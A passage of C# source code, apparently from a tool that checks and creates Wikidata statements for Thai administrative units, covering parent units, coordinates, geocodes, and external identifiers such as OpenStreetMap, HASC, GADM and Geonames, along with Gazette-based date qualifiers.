_ = item ?? throw new ArgumentNullException(nameof(item));
WikiDataState result = WikiDataState.Unknown;
if (String.IsNullOrEmpty(expectedValue))
{
statement = null;
return result; // TODO better handling!
}
var languageCode = language.ToCode();
var dataValue = new MonolingualTextValue(expectedValue, languageCode);
var snak = new Snak(SnakType.Value, new EntityId(propertyId), dataValue);
var property = new EntityId(propertyId);
Statement foundStatement = null;
foreach (var claim in item.Claims.Where(x => property.Equals(x.mainSnak.PropertyId)))
{
Snak oldSnak = claim.mainSnak;
var oldDataValue = oldSnak.DataValue as MonolingualTextValue;
if ((oldDataValue.Text == dataValue.Text) && (oldDataValue.Language == dataValue.Language))
{
foundStatement = claim as Statement;
result = WikiDataState.Valid;
}
}
if (foundStatement == null)
{
if (String.IsNullOrEmpty(expectedValue))
{
result = WikiDataState.Valid;
}
else
{
result = WikiDataState.Incomplete;
if (createStatement)
{
foundStatement = item.createStatementForSnak(snak);
}
}
}
statement = foundStatement;
return result;
}
private WikiDataState CheckCoordinateValue(Item item, String propertyId, Point expected, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
WikiDataState result = WikiDataState.Unknown;
// Statement claim = item.Claims.FirstOrDefault(x => x.IsAboutProperty(WikiBase.PropertyIdCountry)) as Statement;
var property = new EntityId(propertyId);
Statement claim = item.Claims.FirstOrDefault(x => property.Equals(x.mainSnak.PropertyId)) as Statement;
var dataValue = new GlobeCoordinateValue(Convert.ToDouble(expected.lat), Convert.ToDouble(expected.@long), 0.0001, Globe.Earth);
var snak = new Snak(SnakType.Value, new EntityId(propertyId), dataValue);
if (claim == null)
{
result = WikiDataState.NotSet;
if (createStatement)
{
claim = item.createStatementForSnak(snak);
}
}
else
{
Snak oldSnak = claim.mainSnak;
var oldDataValue = oldSnak.DataValue as GlobeCoordinateValue;
if ((Math.Abs(oldDataValue.Latitude - dataValue.Latitude) < dataValue.Precision) &&
(Math.Abs(oldDataValue.Longitude - dataValue.Longitude) < dataValue.Precision))
{
result = WikiDataState.Valid;
}
else
{
result = WikiDataState.WrongValue;
if (overrideWrongData)
{
claim.mainSnak = snak;
}
}
}
statement = claim as Statement;
return result;
}
/// <summary>
/// Gets the location as a geopoint.
/// </summary>
/// <param name="item">Item to check.</param>
/// <param name="propertyId">Id of the property.</param>
/// <returns>Location as geopoint, or <c>null</c> if none is set.</returns>
public GeoCoordinate GetCoordinateValue(Item item, String propertyId)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
// Statement claim = item.Claims.FirstOrDefault(x => x.IsAboutProperty(WikiBase.PropertyIdCountry)) as Statement;
var property = new EntityId(propertyId);
Statement claim = item.Claims.FirstOrDefault(x => property.Equals(x.mainSnak.PropertyId)) as Statement;
if (claim != null)
{
Snak oldSnak = claim.mainSnak;
if (oldSnak != null)
{
var oldDataValue = oldSnak.DataValue as GlobeCoordinateValue;
if (oldDataValue != null)
{
return new GeoCoordinate(oldDataValue.Latitude, oldDataValue.Longitude);
}
}
}
return null;
}
#endregion private methods
#region public methods
/// <summary>
/// Gets the wikidata item for the given <paramref name="entity"/>.
/// </summary>
/// <param name="entity">Entity to search.</param>
/// <returns>Wikidata entity.</returns>
/// <exception cref="ArgumentNullException"><paramref name="entity"/> is <c>null</c>.</exception>
/// <exception cref="ArgumentException"><paramref name="entity"/> has no WikiData link.</exception>
public Item GetWikiDataItemForEntity(Entity entity)
{
_ = entity ?? throw new ArgumentNullException(nameof(entity));
if ((entity.wiki == null) || (String.IsNullOrEmpty(entity.wiki.wikidata)))
throw new ArgumentException("no WikiData entity yet");
Item entityById = _entityProvider.getEntityFromId(new EntityId(entity.wiki.wikidata)) as Item;
return entityById;
}
#region IsInAdministrative
private WikiDataState IsInAdministrativeUnit(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
Entity parentEntity = null;
if (entity.type == EntityType.Chumchon)
{
// Between Chumchon and Thesaban there is one level without numbers, at least so far
parentEntity = _allEntities.FirstOrDefault(x => x.geocode == entity.geocode / 100);
if (parentEntity == null)
{
parentEntity = _allEntities.FirstOrDefault(x => x.geocode == entity.geocode / 10000);
}
}
else if (entity.type.IsLocalGovernment())
{
var parentGeocode = entity.parent.FirstOrDefault();
if (parentGeocode == 0)
{
parentGeocode = entity.geocode / 100;
}
parentEntity = _allEntities.FirstOrDefault(x => x.geocode == parentGeocode);
}
else
{
parentEntity = _allEntities.FirstOrDefault(x => x.geocode == entity.geocode / 100);
}
if ((parentEntity != null) && (parentEntity.wiki != null) && (!String.IsNullOrEmpty(parentEntity.wiki.wikidata)))
{
var parent = parentEntity.wiki.wikidata;
return CheckPropertyValue(item, WikiBase.PropertyIdIsInAdministrativeUnit, parent, createStatement, overrideWrongData, out statement);
}
else
{
statement = null;
return WikiDataState.Unknown;
}
}
/// <summary>
/// Gets the statement containing the parent administrative unit.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <returns>Statement containing the parent administrative unit.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetIsInAdministrativeUnit(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
IsInAdministrativeUnit(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Checks if the statement containing the parent administrative unit is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <returns>Statement containing the parent administrative unit.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState IsInAdministrativeUnitCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return IsInAdministrativeUnit(item, entity, false, false, out dummy);
}
#endregion IsInAdministrative
#region TypeOfAdministrativeUnit
private WikiDataState TypeOfAdministrativeUnit(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var entityType = WikiBase.WikiDataItems[entity.type];
var result = CheckPropertyValue(item, WikiBase.PropertyIdInstanceOf, entityType, createStatement, overrideWrongData, out statement);
return result;
}
/// <summary>
/// Gets the statement containing the type of administrative unit.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <returns>Statement containing the type of administrative unit.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetTypeOfAdministrativeUnit(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
TypeOfAdministrativeUnit(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Checks if the statement containing the type of administrative unit is correct.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <returns>Statement containing the type of administrative unit.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState TypeOfAdministrativeUnitCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return TypeOfAdministrativeUnit(item, entity, false, false, out dummy);
}
/// <summary>
/// Adds the start and end date qualifiers to the type statement, and the corresponding Gazette announcement reference.
/// </summary>
/// <param name="statement">Statement with the entity type.</param>
/// <param name="entityType">Entity type to be searched for.</param>
/// <param name="entity">Entity.</param>
/// <exception cref="ArgumentNullException"><paramref name="statement"/> or <paramref name="entity"/> is <c>null</c>.</exception>
/// <returns><c>true</c> if qualifiers or references were added, <c>false</c> otherwise.</returns>
public Boolean AddTypeOfAdministrativeQualifiersAndReferences(Statement statement, EntityType entityType, Entity entity)
{
_ = statement ?? throw new ArgumentNullException(nameof(statement));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
var result = false;
foreach (var historyItem in entity.history.Items)
{
var entityHistoryCreate = historyItem as HistoryCreate;
var entityStatusChange = historyItem as HistoryStatus;
var entityAbolish = historyItem as HistoryAbolish;
if (entityHistoryCreate != null && entityHistoryCreate.type == entity.type && entityHistoryCreate.effectiveSpecified)
{
// create as requested type
result |= CreateDateQualifierAndReference(statement, WikiBase.PropertyIdStartDate, entityHistoryCreate);
}
if (entityStatusChange != null && entityStatusChange.@new == entity.type && entityStatusChange.effectiveSpecified)
{
// change to requested type
result |= CreateDateQualifierAndReference(statement, WikiBase.PropertyIdStartDate, entityStatusChange);
}
if (entityStatusChange != null && entityStatusChange.old == entity.type && entityStatusChange.effectiveSpecified)
{
// change from requested type
result |= CreateDateQualifierAndReference(statement, WikiBase.PropertyIdEndDate, entityStatusChange);
}
if (entityAbolish != null && entityAbolish.type == entity.type && entityAbolish.effectiveSpecified)
{
// abolish as requested type
result |= CreateDateQualifierAndReference(statement, WikiBase.PropertyIdEndDate, entityAbolish);
}
}
return result;
}
private Boolean CreateDateQualifierAndReference(Statement statement, String propertyId, HistoryEntryBase entityHistory)
{
var result = false;
var startDateQualifier = statement.Qualifiers.FirstOrDefault(x => x.PropertyId.PrefixedId.Equals(propertyId, StringComparison.InvariantCultureIgnoreCase));
if (startDateQualifier == null)
{
startDateQualifier = new Qualifier(statement, SnakType.Value, new EntityId(propertyId), TimeValue.DateValue(entityHistory.effective));
result = true;
}
var gazetteReference = entityHistory.Items.FirstOrDefault(x => x is GazetteRelated) as GazetteRelated;
if (gazetteReference != null)
{
GazetteEntry gazetteAnnouncement = GlobalData.AllGazetteAnnouncements.FindAnnouncement(gazetteReference);
if (gazetteAnnouncement != null)
{
var snak = new Snak(SnakType.Value, new EntityId(WikiBase.PropertyIdReferenceUrl), new StringValue(gazetteAnnouncement.DownloadUrl.AbsoluteUri));
var startDateReference = statement.CreateReferenceForSnak(snak);
result = true;
}
}
return result;
}
#endregion TypeOfAdministrativeUnit
#region IsInCountry
private WikiDataState IsInCountry(Item item, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var parent = WikiBase.WikiDataItems[EntityType.Country];
return CheckPropertyValue(item, WikiBase.PropertyIdCountry, parent, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the country.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the country.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> is <c>null</c>.</exception>
public Statement SetIsInCountry(Item item, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
Statement result;
IsInCountry(item, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the country is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> is <c>null</c>.</exception>
public WikiDataState IsInCountryCorrect(Item item)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
Statement dummy;
return IsInCountry(item, false, false, out dummy);
}
#endregion IsInCountry
#region OpenStreetMapId
private WikiDataState OpenStreetMap(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var stringValue = String.Empty;
if (entity.wiki.openstreetmapSpecified)
{
stringValue = entity.wiki.openstreetmap.ToString(CultureInfo.InvariantCulture);
}
return CheckStringValue(item, WikiBase.PropertyIdOpenStreetMap, stringValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the open street map id.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the country.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetOpenStreetMap(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
OpenStreetMap(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the open street map id is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState OpenStreetMapCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return OpenStreetMap(item, entity, false, false, out dummy);
}
#endregion OpenStreetMapId
#region Geocode
private WikiDataState Geocode(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var stringValue = String.Empty;
stringValue = entity.geocode.ToString(CultureInfo.InvariantCulture);
return CheckStringValue(item, WikiBase.PropertyIdThaiGeocode, stringValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the geocode.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the geocode.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetGeocode(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
Geocode(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the geocode is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState GeocodeCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return Geocode(item, entity, false, false, out dummy);
}
#endregion Geocode
#region WOEID
private WikiDataState Woeid(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var stringValue = String.Empty;
stringValue = entity.codes.woeid.value;
return CheckStringValue(item, WikiBase.PropertyIdWOEID, stringValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the WOEID reference.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the WOEID.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetWoeid(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
Woeid(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the WOEID reference is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
/// <returns>State of WOEID statement in Wikidata.</returns>
public WikiDataState WoeidCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return Woeid(item, entity, false, false, out dummy);
}
#endregion WOEID
#region HASC
private WikiDataState HASC(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var stringValue = String.Empty;
stringValue = entity.codes.hasc.value;
return CheckStringValue(item, WikiBase.PropertyIdHASC, stringValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the HASC reference.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the HASC.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetHASC(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
HASC(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the HASC reference is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState HASCCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return HASC(item, entity, false, false, out dummy);
}
#endregion HASC
#region GADM
private WikiDataState Gadm(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var stringValue = String.Empty;
stringValue = entity.codes.gadm.value;
return CheckStringValue(item, WikiBase.PropertyIdGadm, stringValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the GADM reference.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the GADM.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetGadm(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
Gadm(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the GADM reference is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
/// <returns>State of GADM statement in Wikidata.</returns>
public WikiDataState GadmCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return Gadm(item, entity, false, false, out dummy);
}
#endregion GADM
#region Geonames
private WikiDataState Geonames(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var stringValue = String.Empty;
stringValue = entity.codes.geonames.value;
return CheckStringValue(item, WikiBase.PropertyIdGeonames, stringValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the geonames reference.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the Geonames.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetGeonames(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
Geonames(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the geonames reference is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState GeonamesCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return Geonames(item, entity, false, false, out dummy);
}
#endregion Geonames
#region GND
private WikiDataState Gnd(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var stringValue = String.Empty;
stringValue = entity.codes.gnd.value;
return CheckStringValue(item, WikiBase.PropertyIdGND, stringValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the GND reference.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the GND.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetGnd(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
Gnd(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the GND reference is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState GndCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return Gnd(item, entity, false, false, out dummy);
}
#endregion GND
#region GNS-UFI
private WikiDataState GNSUFI(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var stringValue = String.Empty;
stringValue = entity.codes.gnsufi.value;
return CheckStringValue(item, WikiBase.PropertyIdGNSUFI, stringValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the GN-SUFI reference.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the GNS-UFI.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetGNSUFI(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
GNSUFI(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the GNS-UFI reference is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState GNSUFICorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return GNSUFI(item, entity, false, false, out dummy);
}
#endregion GNS-UFI
#region FacebookPlaceId
private WikiDataState FacebookPlaceId(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var stringValue = String.Empty;
var office = entity.office.FirstOrDefault(y => y.socialweb.facebook.Any(z => z.type == FacebookPageType.place));
if (office != null)
{
stringValue = office.socialweb.facebook.First(z => z.type == FacebookPageType.place).Value;
}
return CheckStringValue(item, WikiBase.PropertyIdFacebookPage, stringValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the FacebookPlaceId reference.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the FacebookPlaceId.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetFacebookPlaceId(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
FacebookPlaceId(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the FacebookPlaceId reference is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public WikiDataState FacebookPlaceIdCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return FacebookPlaceId(item, entity, false, false, out dummy);
}
#endregion FacebookPlaceId
#region OfficialWebsite
private WikiDataState OfficialWebsite(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var stringValue = String.Empty;
var office = entity.office.FirstOrDefault(y => !String.IsNullOrEmpty(y.PreferredWebsite) && y.type.IsLocalGovernmentOffice() == entity.type.IsLocalGovernment());
if (office != null)
{
stringValue = office.PreferredWebsite;
}
return CheckStringValue(item, WikiBase.PropertyIdWebsite, stringValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the official website reference.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the official website.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetOfficialWebsite(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
OfficialWebsite(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the official website reference is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
/// <returns>The state of the statement in Wikidata.</returns>
public WikiDataState OfficialWebsiteCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return OfficialWebsite(item, entity, false, false, out dummy);
}
/// <summary>
/// Add the qualifier to a URL statement defining the language of work.
/// </summary>
/// <param name="statement">Statement to modify.</param>
public void AddWebsiteQualifiers(Statement statement)
{
_ = statement ?? throw new ArgumentNullException(nameof(statement));
var languageQualifier = new Qualifier(statement, SnakType.Value, new EntityId(WikiBase.PropertyIdLanguageOfWork), new EntityIdValue(new EntityId(WikiBase.ItemIdThaiLanguage)));
// statement.Qualifiers.Add(languageQualifier); // already added by the constructor
}
#endregion OfficialWebsite
#region DescribedByUrl
private WikiDataState DescribedByUrl(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
var stringValue = String.Empty;
if (entity.type.IsCompatibleEntityType(EntityType.Tambon))
{
stringValue = String.Format(CultureInfo.InvariantCulture, "http://www.thaitambon.com/tambon/{0}", entity.geocode);
}
else if (entity.type.IsCompatibleEntityType(EntityType.Amphoe))
{
var website = AmphoeComHelper.AmphoeWebsite(entity.geocode);
if (website == null)
{
foreach (var oldGeocode in entity.OldGeocodes)
{
website = AmphoeComHelper.AmphoeWebsite(oldGeocode);
if (website != null)
{
break;
}
}
}
if (website != null)
{
stringValue = website.AbsoluteUri;
}
}
return CheckStringValue(item, WikiBase.PropertyIdDescribedByUrl, stringValue, createStatement, overrideWrongData, out statement);
}
/// <summary>
/// Gets the statement containing the describe by URL property.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <param name="overrideWrongData"><c>true</c> is a wrong claim should be overwritten, <c>false</c> otherwise.</param>
/// <returns>Statement containing the described by URL.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
public Statement SetDescribedByUrl(Item item, Entity entity, Boolean overrideWrongData)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement result;
DescribedByUrl(item, entity, true, overrideWrongData, out result);
return result;
}
/// <summary>
/// Gets whether the statement containing the described by URL is set correctly.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
/// <returns>The state of the statement in Wikidata.</returns>
public WikiDataState DescribedByUrlCorrect(Item item, Entity entity)
{
_ = item ?? throw new ArgumentNullException(nameof(item));
_ = entity ?? throw new ArgumentNullException(nameof(entity));
Statement dummy;
return DescribedByUrl(item, entity, false, false, out dummy);
}
#endregion DescribedByUrl
#region NamedAfterSubdivision
private WikiDataState NamedAfterSubdivision(Item item, Entity entity, Boolean createStatement, Boolean overrideWrongData, out Statement statement)
{
Entity namedByEntity = entity.NamedAfterEntity();
if ((namedByEntity != null) && (namedByEntity.wiki != null) && (!String.IsNullOrEmpty(namedByEntity.wiki.wikidata)))
{
var parent = namedByEntity.wiki.wikidata;
return CheckPropertyValue(item, WikiBase.PropertyIdNamedAfter, parent, createStatement, overrideWrongData, out statement);
}
else
{
statement = null;
return WikiDataState.Unknown;
}
}
/// <summary>
/// Gets the statement containing the administrative unit it was named after.
/// </summary>
/// <param name="item">The WikiData item.</param>
/// <param name="entity">The administrative unit.</param>
/// <returns>Statement containing the administrative unit it was named after.</returns>
/// <exception cref="ArgumentNullException"><paramref name="item"/> or <paramref name="entity"/> is <c>null</c>.</exception>
